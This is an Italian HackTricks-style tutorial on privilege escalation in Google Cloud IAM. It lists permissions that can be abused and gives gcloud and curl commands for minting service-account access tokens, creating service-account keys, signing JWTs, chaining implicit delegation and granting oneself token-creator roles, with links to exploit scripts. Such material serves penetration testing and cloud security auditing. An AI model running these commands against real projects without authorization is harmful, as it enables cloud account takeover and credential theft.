# GCP - IAM Privesc

{{#include ../../../banners/hacktricks-training.md}}

## IAM

Per maggiori informazioni su IAM, vedi:

{{#ref}}
../gcp-services/gcp-iam-and-org-policies-enum.md
{{#endref}}

### `iam.roles.update` (`iam.roles.get`)

Un attaccante con i permessi sopra menzionati potrà aggiornare un ruolo assegnato e concederti permessi aggiuntivi su altre risorse come:
```bash
gcloud iam roles update <rol name> --project <project> --add-permissions <permission>
```
Puoi trovare uno script per automatizzare la **creazione, exploit e cleaning di un ambiente vuln qui** e uno script python per abusare di questo privilegio [**here**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.roles.update.py). Per maggiori informazioni consulta la [**original research**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/).
```bash
gcloud iam roles update <Rol_NAME> --project <PROJECT_ID> --add-permissions <Permission>
```
### `iam.roles.create` & `iam.serviceAccounts.setIamPolicy`
Il permesso iam.roles.create consente la creazione di ruoli personalizzati in un progetto/organizzazione. Nelle mani di un attacker, questo è pericoloso perché permette di definire nuovi insiemi di permessi che possono poi essere assegnati ad entità (per esempio, usando il permesso iam.serviceAccounts.setIamPolicy) con l'obiettivo di escalating privileges.
```bash
gcloud iam roles create <ROLE_ID> \
--project=<PROJECT_ID> \
--title="<Title>" \
--description="<Description>" \
--permissions="permission1,permission2,permission3"
```
### `iam.serviceAccounts.getAccessToken` (`iam.serviceAccounts.get`)

Un attacker con le permissions menzionate sarà in grado di richiedere un access token che appartiene a un Service Account, quindi può richiedere un access token di un Service Account con privilegi superiori ai nostri.
```bash
gcloud --impersonate-service-account="${victim}@${PROJECT_ID}.iam.gserviceaccount.com" \
auth print-access-token
```
Puoi trovare uno script per automatizzare la [**creation, exploit and cleaning of a vuln environment here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/4-iam.serviceAccounts.getAccessToken.sh) e uno script python per abusare di questo privilegio [**here**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.getAccessToken.py). Per maggiori informazioni consulta la [**original research**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/).

### `iam.serviceAccountKeys.create`

Un attacker con i permessi menzionati sarà in grado di **create a user-managed key for a Service Account**, il che ci permetterà di accedere a GCP come quel Service Account.
```bash
gcloud iam service-accounts keys create --iam-account <name> /tmp/key.json

gcloud auth activate-service-account --key-file=sa_cred.json
```
Puoi trovare uno script per automatizzare la [**creation, exploit and cleaning of a vuln environment here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/3-iam.serviceAccountKeys.create.sh) e uno script python per abusare di questo privilegio [**here**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccountKeys.create.py). Per maggiori informazioni consulta la [**original research**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/).

Nota che **`iam.serviceAccountKeys.update` non funzionerà per modificare la key** di una SA perché per farlo è necessario anche il permesso `iam.serviceAccountKeys.create`.

### `iam.serviceAccounts.implicitDelegation`

Se hai il permesso **`iam.serviceAccounts.implicitDelegation`** su una Service Account che ha il permesso **`iam.serviceAccounts.getAccessToken`** su una terza Service Account, allora puoi usare implicitDelegation per **creare un token per quella terza Service Account**. Ecco un diagramma per aiutare a spiegare.

![](https://rhinosecuritylabs.com/wp-content/uploads/2020/04/image2-500x493.png)

Nota che secondo la [**documentation**](https://cloud.google.com/iam/docs/understanding-service-accounts), la delegazione di `gcloud` funziona solo per generare un token usando il metodo [**generateAccessToken()**](https://cloud.google.com/iam/credentials/reference/rest/v1/projects.serviceAccounts/generateAccessToken). Quindi qui trovi come ottenere un token usando direttamente l'API:
```bash
curl -X POST \
'https://iamcredentials.googleapis.com/v1/projects/-/serviceAccounts/'"${TARGET_SERVICE_ACCOUNT}"':generateAccessToken' \
-H 'Content-Type: application/json' \
-H 'Authorization: Bearer '"$(gcloud auth print-access-token)" \
-d '{
"delegates": ["projects/-/serviceAccounts/'"${DELEGATED_SERVICE_ACCOUNT}"'"],
"scope": ["https://www.googleapis.com/auth/cloud-platform"]
}'
```
Puoi trovare uno script per automatizzare la [**creation, exploit and cleaning of a vuln environment here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/5-iam.serviceAccounts.implicitDelegation.sh) e uno script python per sfruttare questo privilegio [**here**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.implicitDelegation.py). Per maggiori informazioni consulta la [**original research**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/).

### `iam.serviceAccounts.signBlob`

Un attaccante con i permessi menzionati potrà **firmare payload arbitrari in GCP**. Quindi sarà possibile **creare un JWT non firmato del SA e poi inviarlo come blob per ottenere il JWT firmato** dal SA che stiamo prendendo di mira. Per maggiori informazioni [**read this**](https://medium.com/google-cloud/using-serviceaccountactor-iam-role-for-account-impersonation-on-google-cloud-platform-a9e7118480ed).

Puoi trovare uno script per automatizzare la [**creation, exploit and cleaning of a vuln environment here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/6-iam.serviceAccounts.signBlob.sh) e uno script python per sfruttare questo privilegio [**here**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.signBlob-accessToken.py) e [**here**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.signBlob-gcsSignedUrl.py). Per maggiori informazioni consulta la [**original research**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/).

### `iam.serviceAccounts.signJwt`

Un attaccante con i permessi indicati potrà **firmare JSON web tokens (JWT) ben formati**. La differenza rispetto al metodo precedente è che **invece di far firmare a google un blob contenente un JWT, usiamo il metodo signJWT che si aspetta già un JWT**. Questo lo rende più semplice da usare, ma permette di firmare solo JWT invece di qualsiasi sequenza di byte.

Puoi trovare uno script per automatizzare la [**creation, exploit and cleaning of a vuln environment here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/7-iam.serviceAccounts.signJWT.sh) e uno script python per sfruttare questo privilegio [**here**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.signJWT.py). Per maggiori informazioni consulta la [**original research**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/).

### `iam.serviceAccounts.setIamPolicy` <a href="#iam.serviceaccounts.setiampolicy" id="iam.serviceaccounts.setiampolicy"></a>

Un attaccante con i permessi indicati potrà **aggiungere policy IAM agli account di servizio**. Puoi abusarne per **assegnarti** i permessi necessari a impersonare l'account di servizio. Nell'esempio seguente ci assegniamo il ruolo `roles/iam.serviceAccountTokenCreator` sull'SA interessato:
```bash
gcloud iam service-accounts add-iam-policy-binding "${VICTIM_SA}@${PROJECT_ID}.iam.gserviceaccount.com" \
--member="user:username@domain.com" \
--role="roles/iam.serviceAccountTokenCreator"

# If you still have prblem grant yourself also this permission
gcloud iam service-accounts add-iam-policy-binding "${VICTIM_SA}@${PROJECT_ID}.iam.gserviceaccount.com" \ \
--member="user:username@domain.com" \
--role="roles/iam.serviceAccountUser"
```
Puoi trovare uno script per automatizzare la [**creation, exploit and cleaning of a vuln environment here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/d-iam.serviceAccounts.setIamPolicy.sh)**.**

### `iam.serviceAccounts.actAs`

La **iam.serviceAccounts.actAs permission** è come la **iam:PassRole permission from AWS**. È essenziale per eseguire operazioni, come l'avvio di un'istanza Compute Engine, poiché concede la possibilità di "actAs" a una Service Account, garantendo una gestione sicura dei permessi. Senza questa permission, gli utenti potrebbero ottenere accessi indebiti. Inoltre, sfruttare la **iam.serviceAccounts.actAs** comporta diversi metodi, ognuno richiedente un insieme di permessi, a differenza di altri metodi che ne richiedono solo uno.

#### Service account impersonation <a href="#service-account-impersonation" id="service-account-impersonation"></a>

Impersonare una service account può essere molto utile per **ottenere nuovi e migliori privilegi**. Ci sono tre modi in cui puoi [impersonate another service account](https://cloud.google.com/iam/docs/understanding-service-accounts#impersonating_a_service_account):

- Authentication **using RSA private keys** (trattato sopra)
- Authorization **using Cloud IAM policies** (trattato qui)
- **Deploying jobs on GCP services** (più applicabile alla compromissione di un account utente)

### `iam.serviceAccounts.getOpenIdToken`

Un attaccante con i permessi menzionati sarà in grado di generare un OpenID JWT. Questi vengono usati per attestare l'identità e non portano necessariamente con sé alcuna autorizzazione implicita su una risorsa.

Secondo questo [**interesting post**](https://medium.com/google-cloud/authenticating-using-google-openid-connect-tokens-e7675051213b), è necessario indicare l'audience (il servizio dove vuoi utilizzare il token per autenticarti) e riceverai un JWT firmato da google che indica la service account e l'audience del JWT.

Puoi generare un OpenIDToken (se hai l'accesso) con:
```bash
# First activate the SA with iam.serviceAccounts.getOpenIdToken over the other SA
gcloud auth activate-service-account --key-file=/path/to/svc_account.json
# Then, generate token
gcloud auth print-identity-token "${ATTACK_SA}@${PROJECT_ID}.iam.gserviceaccount.com" --audiences=https://example.com
```
Quindi puoi semplicemente usarlo per accedere al servizio con:
```bash
curl -v -H "Authorization: Bearer id_token" https://some-cloud-run-uc.a.run.app
```
Alcuni servizi che supportano l'autenticazione tramite questo tipo di token sono:

- [Google Cloud Run](https://cloud.google.com/run/)
- [Google Cloud Functions](https://cloud.google.com/functions/docs/)
- [Google Identity Aware Proxy](https://cloud.google.com/iap/docs/authentication-howto)
- [Google Cloud Endpoints](https://cloud.google.com/endpoints/docs/openapi/authenticating-users-google-id) (if using Google OIDC)

You can find an example on how to create and OpenID token behalf a service account [**here**](https://github.com/carlospolop-forks/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.getOpenIdToken.py).

## Riferimenti

- [https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/)

{{#include ../../../banners/hacktricks-training.md}}
